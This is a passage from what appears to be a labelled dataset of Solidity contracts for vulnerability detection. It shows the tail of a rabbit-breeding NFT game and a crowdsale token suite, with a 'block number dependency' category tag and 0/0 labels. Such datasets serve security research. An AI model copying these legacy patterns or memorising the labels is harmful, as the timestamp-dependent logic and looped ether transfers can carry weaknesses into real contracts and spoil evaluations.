addTokenList(_to, _tokenId); emit Transfer (oldOwner, _to, _tokenId); return true; } function setTimeRangeGen0(uint _sec) public onlyOwner { timeRangeCreateGen0 = _sec; } function isPauseSave() public view returns(bool) { return !pauseSave; } function isPromoPause() public view returns(bool) { if(msg.sender == ownerServer || msg.sender == ownerCEO){ return true; }else{ return !promoPause; } } function setPauseSave() public onlyOwner returns(bool) { return pauseSave = !pauseSave; } function isUIntPublic() public pure returns(bool) { return true; } function getTokenOwner(address owner) public view returns(uint total, uint32[] list) { total = ownerBunnies[owner].length; list = ownerBunnies[owner]; } function setRabbitMother(uint32 children, uint32 mother) internal { require(children != mother); if (mother == 0 ) { return; } uint32[11] memory pullMother; uint start = 0; for (uint i = 0; i < 5; i++) { if (rabbitMother[mother][i] != 0) { pullMother[start] = uint32(rabbitMother[mother][i]); rabbitMother[mother][i] = 0; start++; } } pullMother[start] = mother; start++; for (uint m = 0; m < 5; m++) { if(start > 5){ rabbitMother[children][m] = pullMother[(m+1)]; }else{ rabbitMother[children][m] = pullMother[m]; } } setMotherCount(mother); } function setMotherCount(uint32 _mother) internal returns(uint) { motherCount[_mother] = motherCount[_mother].add(1); emit EmotherCount(_mother, motherCount[_mother]); return motherCount[_mother]; } function getMotherCount(uint32 _mother) public view returns(uint) { return motherCount[_mother]; } function getTotalSalaryBunny(uint32 _bunny) public view returns(uint) { return totalSalaryBunny[_bunny]; } function getRabbitMother( uint32 mother) public view returns(uint32[5]){ return rabbitMother[mother]; } function getRabbitMotherSumm(uint32 mother) public view returns(uint count) { for (uint m = 0; m < 5 ; m++) { if(rabbitMother[mother][m] != 0 ) { count++; } } } function getRabbitDNK(uint32 bunnyid) public view returns(uint) { return mapDNK[bunnyid]; } function bytes32ToString(bytes32 x)internal pure returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function uintToBytes(uint v) internal pure returns (bytes32 ret) { if (v == 0) { ret = '0'; } else { while (v > 0) { ret = bytes32(uint(ret) / (2 ** 8)); ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31)); v /= 10; } } return ret; } function totalSupply() public view returns (uint total) { return totalBunny; } function balanceOf(address _owner) public view returns (uint) { return ownerBunnies[_owner].length; } function sendMoney(address _to, uint256 _money) internal { _to.transfer((_money/100)*95); ownerMoney.transfer((_money/100)*5); } function getGiffBlock(uint32 _bunnyid) public view returns(bool) { return !giffblock[_bunnyid]; } function getOwnerGennezise(address _to) public view returns(bool) { return ownerGennezise[_to]; } function getBunny(uint32 _bunny) public view returns( uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint role, uint genome, bool interbreed, uint leftTime, uint lastTime, uint price, uint motherSumm ) { price = getSirePrice(_bunny); _bunny = _bunny - 1; mother = rabbits[_bunny].mother; sire = rabbits[_bunny].sire; birthblock = rabbits[_bunny].birthblock; birthCount = rabbits[_bunny].birthCount; birthLastTime = rabbits[_bunny].birthLastTime; role = rabbits[_bunny].role; genome = rabbits[_bunny].genome; if(birthCount > 14) { birthCount = 14; } motherSumm = motherCount[_bunny]; lastTime = uint(cooldowns[birthCount]); lastTime = lastTime.add(birthLastTime); if(lastTime <= now) { interbreed = true; } else { leftTime = lastTime.sub(now); } } function getBreed(uint32 _bunny) public view returns( bool interbreed ) { _bunny = _bunny - 1; if(_bunny == 0) { return; } uint birtTime = rabbits[_bunny].birthLastTime; uint birthCount = rabbits[_bunny].birthCount; uint lastTime = uint(cooldowns[birthCount]); lastTime = lastTime.add(birtTime); if(lastTime <= now && rabbits[_bunny].role == 0 ) { interbreed = true; } } function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) { cd = rabbits[(_mother-1)].birthCount; if(cd > 14) { cd = 14; } lastTime = (cooldowns[cd] + rabbits[(_mother-1)].birthLastTime); if(lastTime > now) { lefttime = lastTime.sub(now); } } } contract RabbitMarket is BodyRabbit { uint stepMoney = 2*60*60; function setStepMoney(uint money) public onlyOwner { stepMoney = money; } uint marketCount = 0; uint daysperiod = 1; uint sec = 1; uint8 middlelast = 20; mapping(uint32 => uint256[]) internal marketRabbits; uint256 middlePriceMoney = 1; uint256 middleSaleTime = 0; uint moneyRange; function setMoneyRange(uint _money) public onlyOwner { moneyRange = _money; } uint lastmoney = 0; uint lastTimeGen0; uint public totalClosedBID = 0; mapping (uint32 => uint) bunnyCost; mapping(uint32 => uint) bidsIndex; function currentPrice(uint32 _bunnyid) public view returns(uint) { uint money = bunnyCost[_bunnyid]; if (money > 0) { uint moneyComs = money.div(100); moneyComs = moneyComs.mul(5); return money.add(moneyComs); } } function startMarket(uint32 _bunnyid, uint _money) public returns (uint) { require(isPauseSave()); require(_money >= bigPrice); require(rabbitToOwner[_bunnyid] == msg.sender); bunnyCost[_bunnyid] = _money; emit StartMarket(_bunnyid, _money); return marketCount++; } function stopMarket(uint32 _bunnyid) public returns(uint) { require(isPauseSave()); require(rabbitToOwner[_bunnyid] == msg.sender); bunnyCost[_bunnyid] = 0; emit StopMarket(_bunnyid); return marketCount--; } function buyBunny(uint32 _bunnyid) public payable { require(isPauseSave()); require(rabbitToOwner[_bunnyid] != msg.sender); uint price = currentPrice(_bunnyid); require(msg.value >= price && 0 != price); totalClosedBID++; sendMoney(rabbitToOwner[_bunnyid], msg.value); transferFrom(rabbitToOwner[_bunnyid], msg.sender, _bunnyid); stopMarket(_bunnyid); emit BunnyBuy(_bunnyid, price); emit SendBunny (msg.sender, _bunnyid); } function giff(uint32 bunnyid, address add) public { require(rabbitToOwner[bunnyid] == msg.sender); require(!(giffblock[bunnyid])); transferFrom(msg.sender, add, bunnyid); } function getMarketCount() public view returns(uint) { return marketCount; } } contract BunnyGame is RabbitMarket { function transferNewBunny(address _to, uint32 _bunnyid, uint localdnk, uint breed, uint32 matron, uint32 sire) internal { emit NewBunny(_bunnyid, localdnk, block.number, breed); emit CreateChildren(matron, sire, _bunnyid); addTokenList(_to, _bunnyid); totalSalaryBunny[_bunnyid] = 0; motherCount[_bunnyid] = 0; totalBunny++; } function createGennezise(uint32 _matron) public { bool promo = false; require(isPriv()); require(isPauseSave()); require(isPromoPause()); if (totalGen0 > promoGen0) { require(msg.sender == ownerServer || msg.sender == ownerCEO); } else if (!(msg.sender == ownerServer || msg.sender == ownerCEO)) { require(!ownerGennezise[msg.sender]); ownerGennezise[msg.sender] = true; promo = true; } uint localdnk = privateContract.getNewRabbit(msg.sender); Rabbit memory _Rabbit = Rabbit( 0, 0, block.number, 0, 0, 0, 0); uint32 _bunnyid = uint32(rabbits.push(_Rabbit)); mapDNK[_bunnyid] = localdnk; transferNewBunny(msg.sender, _bunnyid, localdnk, 0, 0, 0); lastTimeGen0 = now; lastIdGen0 = _bunnyid; totalGen0++; setRabbitMother(_bunnyid, _matron); if (promo) { giffblock[_bunnyid] = true; } } function getGenomeChildren(uint32 _matron, uint32 _sire) internal view returns(uint) { uint genome; if (rabbits[(_matron-1)].genome >= rabbits[(_sire-1)].genome) { genome = rabbits[(_matron-1)].genome; } else { genome = rabbits[(_sire-1)].genome; } return genome.add(1); } function createChildren(uint32 _matron, uint32 _sire) public payable returns(uint32) { require(isPriv()); require(isPauseSave()); require(rabbitToOwner[_matron] == msg.sender); require(rabbits[(_sire-1)].role == 1); require(_matron != _sire); require(getBreed(_matron)); require(msg.value >= getSirePrice(_sire)); uint genome = getGenomeChildren(_matron, _sire); uint localdnk = privateContract.mixDNK(mapDNK[_matron], mapDNK[_sire], genome); Rabbit memory rabbit = Rabbit(_matron, _sire, block.number, 0, 0, 0, genome); uint32 bunnyid = uint32(rabbits.push(rabbit)); mapDNK[bunnyid] = localdnk; uint _moneyMother = rabbitSirePrice[_sire].div(4); _transferMoneyMother(_matron, _moneyMother); rabbitToOwner[_sire].transfer(rabbitSirePrice[_sire]); uint system = rabbitSirePrice[_sire].div(100); system = system.mul(commission_system); ownerMoney.transfer(system); coolduwnUP(_matron); transferNewBunny(rabbitToOwner[_matron], bunnyid, localdnk, genome, _matron, _sire); setRabbitMother(bunnyid, _matron); return bunnyid; } function coolduwnUP(uint32 _mother) internal { require(isPauseSave()); rabbits[(_mother-1)].birthCount = rabbits[(_mother-1)].birthCount.add(1); rabbits[(_mother-1)].birthLastTime = now; emit CoolduwnMother(_mother, rabbits[(_mother-1)].birthCount); } function _transferMoneyMother(uint32 _mother, uint _valueMoney) internal { require(isPauseSave()); require(_valueMoney > 0); if (getRabbitMotherSumm(_mother) > 0) { uint pastMoney = _valueMoney/getRabbitMotherSumm(_mother); for (uint i=0; i < getRabbitMotherSumm(_mother); i++) { if (rabbitMother[_mother][i] != 0) { uint32 _parrentMother = rabbitMother[_mother][i]; address add = rabbitToOwner[_parrentMother]; setMotherCount(_parrentMother); totalSalaryBunny[_parrentMother] += pastMoney; emit SalaryBunny(_parrentMother, totalSalaryBunny[_parrentMother]); add.transfer(pastMoney); } } } } function setRabbitSirePrice(uint32 _rabbitid, uint price) public returns(bool) { require(isPauseSave()); require(rabbitToOwner[_rabbitid] == msg.sender); require(price > bigPrice); uint lastTime; (lastTime,,) = getcoolduwn(_rabbitid); require(now >= lastTime); if (rabbits[(_rabbitid-1)].role == 1 && rabbitSirePrice[_rabbitid] == price) { return false; } rabbits[(_rabbitid-1)].role = 1; rabbitSirePrice[_rabbitid] = price; uint gen = rabbits[(_rabbitid-1)].genome; sireGenom[gen].push(_rabbitid); emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid)); return true; } function setSireStop(uint32 _rabbitid) public returns(bool) { require(isPauseSave()); require(rabbitToOwner[_rabbitid] == msg.sender); rabbits[(_rabbitid-1)].role = 0; rabbitSirePrice[_rabbitid] = 0; deleteSire(_rabbitid); return true; } function deleteSire(uint32 _tokenId) internal { uint gen = rabbits[(_tokenId-1)].genome; uint count = sireGenom[gen].length; for (uint i = 0; i < count; i++) { if(sireGenom[gen][i] == _tokenId) { delete sireGenom[gen][i]; if(count > 0 && count != (i-1)){ sireGenom[gen][i] = sireGenom[gen][(count-1)]; delete sireGenom[gen][(count-1)]; } sireGenom[gen].length--; emit ChengeSex(_tokenId, false, 0); return; } } } function getMoney(uint _value) public onlyOwner { require(address(this).balance >= _value); ownerMoney.transfer(_value); } }",./Dataset/block number dependency (BN),0,0 10807.sol," pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is StandardToken { address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { throw; } if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { if(!canUpgrade()) { throw; } if (agent == 0x0) throw; if (msg.sender != upgradeMaster) throw; if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); if(!upgradeAgent.isUpgradeAgent()) throw; if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } function canUpgrade() public constant returns(bool) { return true; } } contract ReleasableToken is ERC20, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; uint public minCap; function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; } } } function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } } contract ReservedTokensFinalizeAgent is FinalizeAgent { using SafeMathLibExt for 